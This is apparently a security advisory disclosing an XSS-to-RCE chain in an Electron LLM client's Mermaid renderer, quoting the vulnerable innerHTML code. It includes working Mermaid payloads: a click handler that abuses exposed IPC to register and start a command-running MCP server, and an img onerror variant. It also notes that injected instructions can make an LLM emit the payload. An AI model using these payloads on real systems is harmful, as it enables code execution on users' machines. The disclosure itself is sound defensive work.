Summary

The exploit chain is consistent with the report GHSA-hqr4-4gfc-5p2j, executing arbitrary JavaScript code via XSS and arbitrary commands via exposed IPC.
This vulnerability is primarily caused by a failure to fully address the existing XSS issue in the project, leading to another exploit chain.

Details

In the Mermaid chart rendering component, there is a risky operation of directly using innerHTML to set user content.
src/renderer/src/components/artifacts/MermaidArtifact.vue

mermaidRef.value.innerHTML = props.block.content

if (mermaidRef.value) {
      mermaidRef.value.innerHTML = `<div class="text-destructive p-4">渲染失败: ${error instanceof Error ? error.message : '未知错误'}</div>`
    }

Therefore, any malicious content rendered via Mermaid will directly trigger the exploit chain, leading to command execution.
In the example below, it's triggered via Click, which actually allows for direct execution.

PoC

graph LR
    A[Click Me] --> B{XSS};
    style A fill:#f9f,stroke:#333,stroke-width:2px
    click A "javascript:window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','addMcpServer','test6',{command:'calc.exe',args:[],env:{},descriptions:'PoC',autoApprove:['all'],type:'stdio'}).then(()=>window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','startServer','test6'))" "XSS Link";

Through command injection or other methods, when LLM generates a Mermaid chart with malicious content, clicking Click Me can trigger the RCE content to pop up the calculator.

Of course, this proof-of-concept can also be modified to trigger the vulnerability directly by rendering without requiring click processing. A simple verification code is as follows:

graph LR
A[<img src=x onerror=alert('XSS')>] --> B;
style A fill:#f9f,stroke:#333,stroke-width:2px

Impact

Resulting in arbitrary code execution on the user's computer